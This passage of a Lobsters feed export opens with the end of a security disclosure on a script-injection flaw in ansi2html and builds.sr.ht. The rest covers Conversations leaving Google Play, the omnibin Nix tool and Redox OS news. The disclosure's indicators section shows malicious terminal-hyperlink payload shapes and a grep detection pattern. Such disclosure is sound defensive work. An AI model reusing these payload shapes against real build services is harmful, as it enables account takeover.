(limited access to tightly scoped secrets)&#xA;- SI:L - integrity: low (ability to forge tightly scoped requests)&#xA;- SA:N - availability: none (nothing more than from a direct visit)&#xA;&#xA;supplemental&#xA;&#xA;- AU:Y - automatable: yes (wormable - a victim can attack others right away, spreading the scope)&#xA;- R:I - recovery: irrecoverable (users cannot delete build jobs, only hide them)&#xA;- V:C - value density: concentrated (a single instance hosts many valuable projects with valuable deploy secrets)&#xA;- RE:L - response effort: low (basic mitigation: CSP header insertion at proxy level)&#xA;- U:Amber - urgency: amber (moderate urgency: poses direct danger to infra but has been sitting there for years)&#xA;&#xA;While the exact impact can and should be disputed by actual users&#xA;(after all, SourceHut boasts working just fine _without_ javascript),&#xA;I would argue for high or critical, not just a mere medium,&#xA;because if I were a blackhat,&#xA;it would suffice that Drew visited an affected build log with JS turned on,&#xA;and I could submit a build job in his name with access to SourceHut deploy keys.&#xA;Not sure how I would turn that into money or get away with it though.&#xA;Don’t do this, kids. No excitement justifies it.&#xA;&#xA;## Vulnerable versions&#xA;&#xA;`ansi2html &gt;=1.7.0, &lt;1.9.4`, `builds.sr.ht &gt;= 0.40.0, &lt; 0.105.1`&#xA;&#xA;## Indicators of compromise&#xA;&#xA;Check your raw build logs for `␛]8;;https://example.com/&#34;/...␇` or `␛]8;;javascript:...␇`.&#xA;In Bash, that would probably be something along `grep $&#39;\33]8;[^\7\33]*&#34;&#39;` for the former.&#xA;&#xA;## Full timeline (glad to have permanent records on everything!)&#xA;&#xA;I’m not so proud of this timeline, but hey, at least everything is fixed now and there are no (?) records of people trying to use it. I will include the official Arch Linux repo and the sr.ht Alpine Linux repo, because both systems were recommended at one point.&#xA;&#xA;- 2019-03-11: ansi2html gets added to builds.sr.ht and then to sr.ht-apkbuilds&#xA;- 2021-09-03: the bug gets introduced to upstream ansi2html&#xA;- 2022-02-08: an affected version gets packaged for Alpine and goes live on the flagship instance&#xA;- 2022-07-10: an affected version is packaged for Arch Linux&#xA;- 2026-07-17: I maybe buy some domains6&#xA;- 2026-07-31: I start working on SourceHut&#xA;- 2026-08-01: I submit the issue, and the PR fixing the TrueColor bug to ansi2html upstream. I prepare a preliminary patch for ansi2html and send it to ~sircmpwn/sr.ht-security@lists.sr.ht.&#xA;- 2026-08-04: the bug gets mitigated in builds.sr.ht code; I receive an email from Drew DeVault confirming the vulnerability. Drew gives me a public shoutout (thanks! I appreciate it!).&#xA;- 2026-08-06: bug reported upstream, ACKed immediately&#xA;- 2026-08-20: pinging upstream&#xA;- 2026-08-22: Sebastian replies, we set up when to work on it&#xA;- 2026-08-24: trying to oil ansi2html CI together before we can proceed to address the actual vulnerability&#xA;- 2026-08-29: version 1.9.3 published, not fixing the vulnerability&#xA;- 2026-08-31: I hint in a post that I am working on a software forge that pays project owners&#xA;- 2026-09-02: PR with the final fix pushed and 1.9.4 published, fixing the vulnerability&#xA;- 2026-09-04: Alpine Linux updates ansi2html to a fixed version7&#xA;- 2026-09-05: Arch Linux updates ansi2html to a fixed version&#xA;- 2026-09-xx: Life happens, I took a bit more work to sustain myself&#xA;- 2026-09-23: This blog post (actually -09-24 because it’s past midnight by now. sigh.)&#xA;- 2077-??-??: Profit…?&#xA;&#xA;Note how even carefully auditing ansi2html would not save SourceHut, unless redone on every bump. builds.sr.ht remained vulnerable for (almost exactly) 4,5 years.&#xA;&#xA;## Thanks&#xA;&#xA;God for keeping the blackhat temptations away. Danonek123 for keeping me company. I love you.&#xA;&#xA;## Summary&#xA;&#xA;See, vulnerability research does not need to be a circus, or security theatre, or a lawyered-up fight against bureaucracy. But then you might not end up better off.&#xA;&#xA;Excluding CTFs &amp; invitations to minor conferences (and being allowed to do some VR as part of my internship back when at Antmicro, which I am still grateful for), I have made a metric 0.00€ (that’s $0.00 Fahrenheit) from my vulnerability research so far. If you want to support me (so that I have more time for VR), consider buying something. I like it better than donations (though they are fine too!). I’m also available for professional security consulting.&#xA;&#xA;I’m not done! There’s more coming, although arguably not so critical. Subscribe to my RSS if you don’t want to miss it.&#xA;&#xA;1. Or at least provide some optional ultra-simple&#xA;    `configure` script that allows to just run `make install`/ `ninja install` so that other people can package it easily. (By the way, I still can’t get it why people use AppImage instead of just a static binary.) ↩︎&#xA;2. You can still probably send your patches if you want to host your sr.ht on Arch! ↩︎&#xA;&#xA;3. Hey Drew/Conrad/Simon/(sorry if I missed someone!), when you update ansi2html in sr.ht-apkbuilds, actually when you first restart builds.sr.ht after that, please measure the bandwidth impact on builds.sr.ht. I will make sure to link it here. ↩︎&#xA;&#xA;4. Yes, that’s an em dash. I use Polish typography here, because I have no editor to answer to. Feel free to correct me, though. You can be my drive-by editor. ↩︎&#xA;&#xA;5. Oops, sorry, wrong link. I’m talking about https://xkcd.com/2347/ of course. ↩︎&#xA;&#xA;6. Totally not an impulse buy. ‘To get a sense of being invested.’ I tell to myself. ↩︎&#xA;&#xA;7. To be exact, SourceHut is officially supported only on Alpine 3.22, which does not ship py3-ansi2html, hence sr.ht-apkbuilds ↩︎</content>
    <link href="https://blog.arusekk.pl/posts/srht-account-takeover/" rel="alternate"></link>
    <author>
      <name>winter</name>
    </author>
  </entry>
  <entry>
    <title>Breaking Up with Google Play: Why Conversations Is Now Free</title>
    <updated>2026-09-24T23:57:57+09:00</updated>
    <id>lobsters_4jqfz1</id>
    <content type="html"># Breaking Up with Google Play: Why Conversations Is Now Free&#xA;&#xA;Conversations, my federated instant messaging client for Android, started out as many traditional open-source projects do: as an attempt to scratch my own itch. Development started in January 2014 in my student dormitory, and within weeks I started dogfooding and using the client as the primary means of communicating with my friends. However, when it came to releasing the app to the public on March 24, 2014—exactly twelve and a half years ago today—it was immediately clear to me that I would at least try to turn my open-source project into a business. While I didn’t invent the business model of making the source code publicly available but charging for the convenience of a compiled binary, it was certainly unusual in 2014.&#xA;&#xA;Fast forward a decade, and I did manage to turn Conversations into a sustainable business. Ever since March 2014, Conversations—or other related activities—have been my primary source of income. Admittedly, sustaining life as a student in a tiny dormitory doesn’t take much, but luckily revenue has steadily increased as I grew older.&#xA;&#xA;The exact sources of income have shifted over the years. In the beginning, it was a lot of paid development for companies that wanted to use Conversations. Some paid for features that made it into mainline Conversations; others wanted custom features so specific to their workflow that they never made sense to merge upstream. This was occasionally supplemented with providing server setup or even some consulting on instant messaging and security-related topics. Later on, grants and funding opportunities played a more and more important role.&#xA;&#xA;One surprisingly steady source of income, however, has always been the Play Store revenue. I used to say that it pays my rent. Every freelancer knows the feeling of uncertainty that comes with only being able to send out invoices every few months or receiving payment for funded projects only at the end of the funding period. Any form of regular income—especially in the early stages, when you have not yet built up any savings—is a blessing.&#xA;&#xA;My relationship with Google was never good. App updates have been rejected more times than I can count for incomprehensible reasons. Conversations has been removed twice from the Play Store. Once, Google just randomly accused me of uploading users’ contacts1—which simply wasn’t true and was also not triggered by a specific update. Countless times I wished I could just talk to an actual human for five minutes. So many misunderstandings could have been cleared up in no time if I wasn’t going up against AIs and click workers. At the time of writing this blog post, I’ve been waiting 14 days for Google to review an app update. Review times were never good or anything close to what I would deem acceptable, but they have been getting a lot worse over the last year or so. One can imagine that part of the problem is an avalanche of AI-generated slop apps—something Google played no small part in creating in the first place. But Google should have the responsibility to prioritize long-standing, non-AI-generated apps with infrequent updates. Waiting a little longer for new features might not sound like a big deal to some, but Google makes no distinction between feature updates and security updates. Delaying security updates by days or weeks is outright dangerous.&#xA;&#xA;At this point, I should add some context. Google takes a 15% cut on my app sales. This effectively means I’m paying Google more than 1000 Euro per year for their services. 1000 Euro per year is 1.5x what I’m paying for my internet access. It’s roughly what I’m paying for my notebook per year if you assume I use it for three to four years. When my internet breaks, someone drives to my house and fixes it. When my notebook breaks, someone drives to my house and fixes it. When Google fucks up, there is absolutely nothing I can do. Apparently that amount of money doesn’t give me the privilege to talk to a fucking human for five minutes once per year.&#xA;&#xA;For years I’ve felt like I was in a toxic relationship with Google, and the only reason I stayed was economic dependency.&#xA;&#xA;Over time, the source of my income has shifted more and more towards grants. Sometimes via NLnet234, sometimes more directly from the European Commission5. I have secure funding via various grants until the end of 2029 and I’m fairly confident that other funding opportunities will come up for the time after that.&#xA;&#xA;Conversations was always available on F-Droid, but in the beginning, I didn’t advertise the option of downloading it for free. Initially, the F-Droid package maintainers asked for my permission, knowing that Conversations was a paid app on Google Play. I didn’t refuse, but I also didn’t link to F-Droid from the official website because I wanted to steer users towards the paid version. Over time, as my sentiment toward Google shifted from bad to worse, I did start linking to F-Droid. Now F-Droid has become the primary method of distributing the app. The APK distributed over F-Droid is now built reproducibly and signed with my personal signing key.&#xA;&#xA;Fortunately, I’m no longer economically dependent on Google Play Store revenue. Google doesn’t deserve me and my money anymore. I’m done. Fuck the gatekeepers.</content>
    <link href="https://gultsch.de/posts/breaking-up-with-google-play/" rel="alternate"></link>
    <author>
      <name>tusharhero</name>
    </author>
  </entry>
  <entry>
    <title>Every package is already installed</title>
    <updated>2026-09-25T15:39:43+09:00</updated>
    <id>lobsters_wqzbpw</id>
    <content type="html">`&#xA;  tl;dr; omnibin is a FUSE filesystem that puts every binary nixpkgs ever shipped on your $PATH. Nothing is installed. Nothing needs building. 0 bytes on disk until something actually reads a file. 😈&#xA;`&#xA;&#xA;It’s 2026, why am I still installing packages individually?11Yes, I am a little inspired after watching DHH’s keynote at RailsConf 2026. I feel the same way about package management.&#xA;&#xA;Why must I go through the ritual of adding a package to my `configuration.nix`, running `nix-shell` or succumb to the hellscape of `nix-env -iA`.&#xA;&#xA;Nix gives us the power of having packages installed side-by-side without conflict. Why do I have to pick which ones I want to install?&#xA;&#xA;Why can’t I just have them all?&#xA;&#xA;What if the machine just had all of them?&#xA;&#xA; `$ nix run github:fzakaria/omnibin&#xA;omnibin: tree at /run/user/1000/omnibin, cache at /home/you/.cache/omnibin&#xA;$ ls /omnibin/bin | wc -l&#xA;51468&#xA;$ python3 --version&#xA;Python 3.14.6&#xA;$ python3@3.6.2 --version&#xA;Python 3.6.2&#xA;`&#xA;&#xA;That is over fifty thousand22There are actually 881,933 binaries in the tree, but `ls /omnibin/bin` only lists the latest version of each binary. The versioned forms are still available, but they are not listed.  top-level binaries available on my `$PATH`, from 2013 to 2026 built by Nixpkgs, available on-demand, without installing anything.&#xA;&#xA;This is the magic 🧙‍♂️ of Nix, but it’s not restricted to Nix.&#xA;&#xA;Everyone seems to still love Docker and OCI, why am I still picking which base image to use? Why can’t I just have them all?&#xA;&#xA; `# syntax=docker/dockerfile:1&#xA;FROM fmzakari/omnibin:latest&#xA;COPY &lt;&lt;&#39;SH&#39; /demo.sh&#xA;python3@3.6.2 -c &#39;import sys; print(sys.version.split()[0])&#39;&#xA;jq --version&#xA;gcc@10.2.0 --version | head -1&#xA;SH&#xA;CMD [&#34;bash&#34;, &#34;/demo.sh&#34;]&#xA;`&#xA;&#xA;Is this the ultimate agent harness? It’s a container with everything in it, right from the start. Try it at fmzakari/omnibin.&#xA;&#xA; `$ docker build -t example .&#xA;$ docker run --rm --device /dev/fuse --cap-add SYS_ADMIN example&#xA;3.6.2&#xA;jq-1.8.1&#xA;gcc (GCC) 10.2.0&#xA;`&#xA;&#xA;Of course, I cannot forget our NixOS friends. You no longer have to curate your `environment.systemPackages` or `home.packages`, you can just have them all.&#xA;&#xA; `{&#xA;  imports = [ inputs.omnibin.nixosModules.default ];&#xA;  services.omnibin.enable = true;&#xA;}&#xA;`&#xA;&#xA;What is “package management” if every package is already installed?&#xA;&#xA;## §What is this sorcery?&#xA;&#xA;Turns out that Hydra writes a `.ls` file next to every single narinfo on cache.nixos.org that describes the contents of the archive as JSON:&#xA;&#xA; `$ curl -s --compressed https://cache.nixos.org/3n4qphl9s728sz8frmpqqrv9b1m87g68.ls | jq&#xA;{&#xA;  &#34;root&#34;: {&#xA;    &#34;entries&#34;: {&#xA;      &#34;bin&#34;: {&#xA;        &#34;entries&#34;: {&#xA;          &#34;python3&#34;: { &#34;target&#34;: &#34;python3.14&#34;, &#34;type&#34;: &#34;symlink&#34; },&#xA;          &#34;python3.14&#34;: { &#34;executable&#34;: true, &#34;size&#34;: 14264, &#34;type&#34;: &#34;regular&#34; }&#xA;`&#xA;&#xA;That metadata turns out to be the perfect index for a FUSE filesystem that can lazily fetch the NARs from the cache and unpack them on-demand. 🤓&#xA;&#xA;None of this would mean anything without nixpkgs-multiverse, which already resolves any `(attribute, version)` in nixpkgs history to the store path Hydra built for it on cache.nixos.org.&#xA;&#xA;When you combine the two, you get a filesystem that can answer the question “where is `python3@3.6.2`” and then fetch it from the cache and unpack it for you, all without ever having to install it.&#xA;&#xA;I crawled all of it the `.ls` files in under twelve minutes. 🤯&#xA;&#xA;Once you have that, the filesystem writes itself:&#xA;&#xA; `$ ls /nix/store/2lb6nn8ivk1alhckv43n7734lqwbw7h9-python3-3.6.2/bin&#xA;2to3      idle     pydoc     python   python3.6         python3-config  pyvenv&#xA;2to3-3.6  idle3    pydoc3    python3  python3.6-config  python-config   pyvenv-3.6&#xA;          idle3.6  pydoc3.6           python3.6m        python3.6m-config&#xA;`&#xA;&#xA;That is CPython 3.6.2, from 2017. That `ls` _downloaded nothing_, it is answered from the pre-crawled index.&#xA;&#xA;## §Do not `ls` the tree&#xA;&#xA;Agents are “a thing”. Making them useful is a thing. Making them useful without installing anything is a thing.&#xA;&#xA;If your agent tried to `ls /omnibin/bin` and stat every single entry, it would have a really bad time. There are 881,933 binaries in the tree, and it would take a long time to stat them all.&#xA;&#xA;To help the agents out a bit, `ls /omnibin/bin` lists only the bare names, one per executable, each resolving to the newest package that provides it.&#xA;&#xA;The versioned forms all resolve, but they are not listed. For example, `python3` resolves to the latest Python 3, which is 3.14.6 at the time of writing, but `python3@3.6.2` resolves to the 2017 version.&#xA;&#xA;For everything else there is the index, which is sitting right there in the mount:&#xA;&#xA; `$ sqlite3 /omnibin/index.db \&#xA;    &#34;SELECT attr, version&#xA;    FROM bins&#xA;    WHERE name = &#39;python3&#39;&#xA;    ORDER BY version&#34;&#xA;`&#xA;&#xA;That UX is a little rough, so you can also use the `omnibin` CLI to query the index:&#xA;&#xA; `$ omnibin which python3&#xA;/nix/store/gxzhl7aaiid7zp3y47jqqiq7zg5mqpwp-python3-3.14.6/bin/python3&#xA;$ omnibin which --all python3 | wc -l&#xA;610&#xA;$ omnibin which --all ffmpeg | head -2&#xA;ffmpeg@3.1.7  ffmpeg  0.4 MB  /nix/store/0adpc3…-ffmpeg-3.1.7-bin/bin/ffmpeg&#xA;ffmpeg@3.2.4  ffmpeg  0.4 MB  /nix/store/nhfgdv…-ffmpeg-3.2.4-bin/bin/ffmpeg&#xA;`&#xA;&#xA;Lastly, there is a /omnibin/README.md whose entire job is to tell whatever is exploring the filesystem to stop exploring the filesystem and query the database instead. 🤖&#xA;&#xA;## §What’s the catch?&#xA;&#xA;At this point it should be obvious, but you pay for this on startup for the first access.&#xA;&#xA; `$ time python3@3.6.2 -c &#39;import sys; print(sys.version.split()[0])&#39;&#xA;3.6.2&#xA;real    0m2.690s&#xA;$ time python3@3.6.2 -c &#39;print(6*7)&#39;&#xA;42&#xA;real    0m0.035s&#xA;`&#xA;&#xA;The first run took 2.7 seconds to fetch the NARs and unpack them, the second run was instantaneous because the store paths were already present.&#xA;&#xA;Other than that? Not really, which is pretty amazing.&#xA;&#xA;For any long-lived machine, you would expect your `/nix/store` to already be warmed up with the packages you need, so the first access penalty is not a big deal.&#xA;&#xA;I remember one of the first things that blew my mind and sold me on Nix, was seeing a demo by @burke on comma. The capability to test a package, at a single nixpkgs revision, without “installing it”; revolutionary! I believe this to be a spiritual successor and I hope to imbue others with the same sense of wonder and amazement that I felt back then as a beacon of the power of Nix.&#xA;&#xA;The repo is at github.com/fzakaria/omnibin.&#xA;&#xA;Please `ls` responsibly.</content>
    <link href="https://fzakaria.com/2026/09/24/every-package-is-already-installed" rel="alternate"></link>
    <author>
      <name>vbernat</name>
    </author>
  </entry>
  <entry>
    <title>This Month in Redox - August 2026</title>
    <updated>2026-09-26T00:59:24+09:00</updated>
    <id>lobsters_kc8t26</id>
    <content type="html"># This Month in Redox - August 2026&#xA;&#xA;##### By Ribbon and Ron Williams on&#xA;&#xA;Redox OS is a complete Unix-like general-purpose microkernel-based operating system written in Rust. August was a very exciting month for Redox! Here’s all the latest news.&#xA;&#xA;Sorry for the delayed report, a combination of busy development, time off, conference attendance, other work, and various random factors got in the way.&#xA;&#xA;## Donate to Redox&#xA;&#xA;If you would like to support Redox, please consider donating or buying some merch!&#xA;&#xA;- Donate&#xA;- Patreon&#xA;- Merch has moved from Teespring to Amaze Commerce: https://app.amazecommerce.com/shop/redox-os&#xA;&#xA;## More Boot Fixes&#xA;&#xA;Wildan Mubarok improved UEFI compatibility, which allowed the MSI Modern 14 C7M laptop to boot!&#xA;&#xA;## ARM64 Multi-core Support&#xA;&#xA;lbecher implemented multi-core support for AArch64/ARM64, and made some fixes. More testing need to done to determine the extent of the performance improvements.&#xA;&#xA;## Ring Buffer Communication For More Parallelism&#xA;&#xA;After some months of work Ibuki Omatsu and Anhad Singh implemented a userspace-based ring buffer communication API (Redox Rings) equivalent to Linux io\_uring system call API to improve performance on supported drivers, with guidance from 4lDO2 and help from Wildan Mubarok to fix bugs. Which is better than the previous attempt from years ago to implement a kernel-based ring buffer communication API.&#xA;&#xA;This work improves the I/O performance for the NVMe driver, RedoxFS and RAMFS by a significant factor. In the benchmark below (bypassing the RedoxFS file system) it’s measured to improve I/O performance by 14-15x!!&#xA;&#xA;- `redox_syscall`(using synchronous system calls to measure NVMe read/write performance) and `redox_ring`(using ring buffers to measure NVMe read/write performance) benchmark comparison&#xA;&#xA;- In-memory filesystem (ramfs) benchmark using ring buffers&#xA;&#xA;## Significant Native Compilation Performance Improvement and OOM Fixes&#xA;&#xA;After months of investigation by Wildan Mubarok on gradual GCC compilation performance degradation, he found and fixed a kernel memory leak that was causing the `os-test` test suite compilation time in GCC (on QEMU) to increase from 2 hours up to 10 hours, and causing out of memory (OOM) errors. Once fixed, the compilation time was reduced from 10 hours to around 30 minutes.&#xA;&#xA;## NUMA Support&#xA;&#xA;Aadarsh (aka EuclidDivisionLemma) implemented the initial support for NUMA-based memory management. As we currently use QEMU to test NUMA behaviour, any help to test on real hardware would be much appreciated.&#xA;&#xA;He also implemented local node allocation (locality of data) by default and a `libredox` API to modify NUMA allocation policies.&#xA;&#xA;## Process Priority Support and The Conclusion of the Scheduler Improvements RSoC project&#xA;&#xA;Akshit Gaur implemented support for process priorities and did system priority tuning, which improved general performance.&#xA;&#xA;He also wrote the last EEVDF article giving the complete explanation after optimizations. Thanks a lot Akshit for the great work!&#xA;&#xA;## QEMU on Redox!&#xA;&#xA;Ribbon and Wildan Mubarok confirmed/tested that QEMU is working on Redox. Ribbon tested the server variant of Redox in QEMU terminal mode and Wildan tested the desktop variant including the GTK frontend.&#xA;&#xA;Redox does not yet have support for KVM-like virtual machine acceleration, so performance can be significantly slow.&#xA;&#xA;- Redox server variant on QEMU terminal mode above Redox desktop&#xA;&#xA;- Redox server variant on both QEMU terminal and GTK GUI&#xA;&#xA;- Redox desktop variant on QEMU GTK GUI&#xA;&#xA;## Dual-boot Installation from Linux!&#xA;&#xA;Wildan Mubarok improved the Linux support of Redox installer to allow a dual-boot installation of Redox, you can see this page to learn how to use it and the new GUI installer options.&#xA;&#xA;- Redox running on triple-boot&#xA;&#xA;## Kernel Binary Size Profiling&#xA;&#xA;4lDO2 implemented support for kernel binary size profiling to measure where it can be reduced, also reducing memory usage.&#xA;&#xA;## Current File Access Design using Namespaces and Capability-based Security&#xA;&#xA;Ibuki Omatsu created a diagram that summarizes how the `openat` function is used to resolve paths, using the namespace manager, as part of capability-based security. Read this section for more details.&#xA;&#xA;## Better relibc Contribution Philosophy and Goals&#xA;&#xA;4lDO2 documented the `relibc` safety philosophy and goals (for our POSIX/C Standard Library) to reduce the probability of undefined behavior and logic bugs being introduced. This primarily focuses on restricting unsafe code to the “leaf functions” of `relibc` for better oversight/review and less unsafe code in unexpected places. It also includes using more Rust-like error handling internally, to give more information than POSIX errors (easing the investigation of certain classes of bugs).&#xA;&#xA;## Kernel Improvements&#xA;&#xA;- (kernel) 4lDO2 reduced IPC overhead by 5%&#xA;- (kernel) 4lDO2 reduced binary size by 2.2% by removing DTB code when not reached (x86-64 image, for example)&#xA;- (kernel) 4lDO2 merged the `redox_syscall` library code into the `kernel` repository to ease changes&#xA;- (kernel) Akshit Gaur did more improvements and fixes to EEVDF scheduler work stealing and Wildan Mubarok did some fixes, which improved performance&#xA;- (kernel) Aadarsh (aka EuclidDivisionLemma) improved memory deallocation performance by reducing thread locking&#xA;- (kernel) Aadarsh (aka EuclidDivisionLemma) fixed a panic in NUMA code&#xA;- (kernel) Wildan Mubarok moved all scheme path handling to user-space&#xA;- (kernel) Wildan Mubarok fixed a potential bug where process killing could create zombie processes&#xA;- (kernel) Wildan Mubarok fixed a panic in `FUTEX_WAIT64` system call&#xA;&#xA;## Driver Improvements&#xA;&#xA;- (driver) MJ Pooladkhay implemented PCI multi-vector MSI-X support, which will allow more driver performance features&#xA;- (driver) MJ Pooladkhay fixed VirtIO device completions being lost&#xA;- (driver) Wildan Mubarok fixed a `pcid` bug that Clippy detected&#xA;- (driver) bjorn3 did some code deduplication and cleanup&#xA;&#xA;## System Improvements&#xA;&#xA;- (sys) Ibuki Omatsu implemented multi-threading support for schemes&#xA;- (sys) Wildan Mubarok ported rldd to be our `ldd` tool implementation&#xA;- (sys) Wildan Mubarok improved the scheme path parent gathering performance&#xA;- (sys) Wildan Mubarok fixed some off-by-one file locking bugs, which helped SQLite and `libsoup`&#xA;- (sys) Wildan Mubarok removed a `inputd` non-fatal panic when no display is available&#xA;- (sys) bjorn3 fixed potential `inputd` deadlocks&#xA;- (sys) bjorn3 did some code deduplication&#xA;&#xA;## Relibc Improvements&#xA;&#xA;- (libc) 4lDO2 moved most of unsafe socket and `getaddrinfo` function code to leaf functions to reduce bugs by using concentration for much better readability&#xA;- (libc) 4lDO2 implemented the `RELIBC_COMMIT_HASH` environment variable to show the `relibc` commit hash to fully confirm if static objects were updated with local changes or up-to-date&#xA;- (libc) Ibuki Omatsu fixed broken `SCM_RIGHTS` on `recvmsg` function, a bug that was revealed after file descriptor allocation migration to user-space&#xA;- (libc) bjorn3 fixed the `getsockname` and `getpeername` functions address length computation, which fixed some `mio` library tests&#xA;- (libc) Wildan Mubarok implemented the `rlct_clone` function for Linux to fix `pthread` tests on Linux ARM64&#xA;- (libc) Wildan Mubarok implemented mode read (except line buffering) and write (except borrowing) support and handling in `setvbuf` function&#xA;- (libc) Wildan Mubarok improved the `LD_DEBUG` environment variable to show the `relibc` shared object memory location range to greatly improve crash debugging on dynamic linking&#xA;- (libc) Wildan Mubarok improved `epoll` performance by calling the `open` function directly&#xA;- (libc) Wildan Mubarok reduced application and library launch time by using constant functions in `stdio` initialization&#xA;- (libc) Wildan Mubarok reduced unsafe Rust code in `timer_t`&#xA;- (libc) Wildan Mubarok added more Unix socket tests&#xA;- (libc) Wildan Mubarok fixed TLS load offset on ARM64, which fixed a `tokio` library panic on package manager&#xA;- (libc) Wildan Mubarok fixed 64KiB-paged ELF loading on Linux ARM64&#xA;- (libc) Wildan Mubarok fixed the `clock_getres` function behavior&#xA;- (libc) Wildan Mubarok fixed a double close bug in `fstatat` function&#xA;- (libc) Wildan Mubarok fixed NUL offset in `ptsname_r`&#xA;- (libc) Wildan Mubarok fixed the `pthread_kill-self` test&#xA;- (libc) Wildan Mubarok fixed a time/timer test&#xA;- (libc) auronandace implemented `tcgetsid` function&#xA;- (libc) auronandace replaced `SYS_DUP_INTO`, `SYS_READ`, and `SYS_WRITE` system calls with `SYS_CALL` system call to reduce system calls&#xA;- (libc) auronandace reduced more `as` casting usage to prevent problems in code refactorings&#xA;- (libc) auronandace did some code cleanup&#xA;- (libc) auronandace, Wildan Mubarok, and Ibuki Omatsu fixed and enforced many Clippy lints and enabled tracking them on CI&#xA;- (libc) Ben McCann implemented POSIX base in `tzset` and POSIX handling in `mktime` functions&#xA;- (libc) Ben McCann added more tests to `tzset` function&#xA;- (libc) Sunam Kang implemented `MSG_NOSIGNAL` in `sendto` function&#xA;&#xA;## Networking Improvements&#xA;&#xA;- (net) Wildan Mubarok improved DHCP missing DNS error handling messages&#xA;&#xA;## RedoxFS Improvements&#xA;&#xA;- (rfs) Wildan Mubarok implemented `O_SYMLINK` to allow symlink traversal across schemes&#xA;- (rfs) Wildan Mubarok improved partition mount error handling to show error codes&#xA;&#xA;## Security Improvements&#xA;&#xA;- (safe) bjorn3 implemented rootless display opening on `inputd`&#xA;- (safe) Ibuki Omatsu reimplemented the `contain` sandbox management tool to use the new namespace management, which now creates a per-process filter scheme that holds an actual namespace file descriptor, mediating all `openat` function calls by providing a file descriptor filter to programs (full `chroot` implementation is still WIP)&#xA;- (safe) Wildan Mubarok updated the CA certificates to be up-to-date, which also fixed GnuTLS&#xA;&#xA;## Packaging Improvements&#xA;&#xA;- (pkg) Wildan Mubarok fixed a double counting bug in package extraction progress bar&#xA;&#xA;## Desktop Improvements&#xA;&#xA;- (desk) bjorn3 ported the Orbital login manager to `winit` and `softbuffer` libraries to allow Wayland testing in the future&#xA;- (desk) bjorn3 disabled window decorations in fullscreen Orbital windows&#xA;- (desk) bjorn3 fixed fullscreen or maximized Orbital window resize on display resize&#xA;&#xA;## Installer Improvements&#xA;&#xA;- (install) Wildan Mubarok fixed the input data handling of new GUI installer options&#xA;- (install) Wildan Mubarok added a progress status when extracting packages&#xA;&#xA;## Programs&#xA;&#xA;- (app) Wildan Mubarok updated GNU nano from version 7.2 to 9.2&#xA;- (app) Aadarsh fixed the GNU Binutils GDB variant compilation&#xA;- (app) Wildan Mubarok updated the Kibi from version 0.3.2 to 0.3.3&#xA;- (app) Wildan Mubarok fixed WebKit TLS bugs&#xA;- (app) Wildan Mubarok fixed the EGL support on GTK3 port&#xA;- (app) Wildan Mubarok fixed EGL partial rendering on Mesa3D&#xA;&#xA;## Testing Improvements&#xA;&#xA;- (test) 4lDO2 implemented benchmark metrics on `acid` test suite to detect performance regressions&#xA;- (test) Wildan Mubarok started to use and enable Clippy on CI&#xA;- (test) Wildan Mubarok reduced the Redox image CI verification time from around 25 minutes to around 7 minutes&#xA;&#xA;## Build System Improvements&#xA;&#xA;- (build) Wildan Mubarok updated the Cookbook recipe target list item combination to allow `--all-*` options usage, for example: `make r.base,--all-binaries`&#xA;- (build) Wildan Mubarok implemented the `COOKBOOK_TREELESS_CLONE` environment variable to enable treeless clone in all recipes to greatly save storage space and and reduce download time&#xA;- (build) Wildan Mubarok reimplemented most of script logic in Cookbook to reduce script maintenance cost and Ribbon fixed some regressions&#xA;- (build) Wildan Mubarok fixed the `make rebuild-push` command (verify recipe source or package changes, incrementally rebuild or download and push new changes) not updating the filesystem configuration recipes, now the system can be properly and quickly updated in a existing Redox filesystem image&#xA;- (build) Konstantin Shabanov fixed the Nix flake on Podman and Native builds&#xA;- (build) Konstantin Shabanov applied `cargo fix` on code&#xA;- (build) Ribbon replaced the `ls` tool by `tree` in `show-package.sh` script to make it much more useful by showing all recipe package directories and files&#xA;&#xA;## Documentation Improvements&#xA;&#xA;- (doc) Wildan Mubarok updated and improved the Installing Redox page with information for the new GUI installer options&#xA;- (doc) Ribbon properly documented with more detail why we prefer POSIX/Linux source compatibility over binary compatibility on Developer FAQ&#xA;- (doc) Ribbon documented the debugging tip that Linux KVM usage change bug behavior&#xA;&#xA;## Website Improvements&#xA;&#xA;- (web) Wildan Mubarok added LaTeX math support and improved the website dark mode to clearly show LaTeX formulas to fix the formulas in the last EEVDF article&#xA;&#xA;## How To Test The Changes&#xA;&#xA;To test the changes of this month download the `server` or `desktop` variants of the daily images.&#xA;&#xA;Use the `desktop` variant for a graphical interface. If you prefer a terminal-style interface, or if the `desktop` variant doesn’t work, please try the `server` variant.&#xA;&#xA;- If you want to test in a virtual machine use the “harddrive” images&#xA;- If you want to test on real hardware use the “livedisk” images&#xA;&#xA;Read the following pages to learn how to use the images in a virtual machine or real hardware:&#xA;&#xA;Sometimes the daily images are outdated and you need to build Redox from source. For instructions on how to do this, read the Building Redox page.&#xA;&#xA;### Programs&#xA;&#xA;To test the changes on applications and libraries, see if the wanted program is available in the following lists and run the following command to install them: `sudo pkg install package-name`&#xA;&#xA;There’s also a package web interface if you want detailed package information:&#xA;&#xA;## Join us on Matrix Chat&#xA;&#xA;If you want to contribute, give feedback or just listen in to the conversation, join us on Matrix Chat.</content>
    <link href="https://www.redox-os.org/news/this-month-260831/" rel="alternate"></link>
    <author>
      <name>theelx</name>
    </author>
  </entry>
  <entry>
    <title>Lobsters: Rename vibecoding to llms (Greasemonkey script)</title>
    <updated>2026-09-25T14:33:53+09:00</updated>
    <id>lobsters_68n22g</id>
    <content type="html">☰&#xA;&#xA;&#xA;Showing English results only. Show results for all languages.&#xA;&#xA;1. ## Lobsters: rename vibecoding to llms  JS    -      Display the vibecoding tag as llms&#xA;&#xA;&#xA;&#xA;AuthorjoshkaDaily installs16Total installs16Ratings&#xA;0&#xA;0&#xA;0&#xA;Created2026-09-23Updated2026-09-23&#xA;&#xA;&#xA;Publish a script you&#39;ve written (or learn how to write one)</content>
    <link href="https://greasyfork.org/en/scripts?by=1646191" rel="alternate"></link>
    <author>
      <name>joshka</name>
    </author>
  </entry>
  <entry>
    <title>Goodbye Google</title>
    <updated>2026-09-25T14:51:12+09:00</updated>
    <id>lobsters_sxlf4a</id>
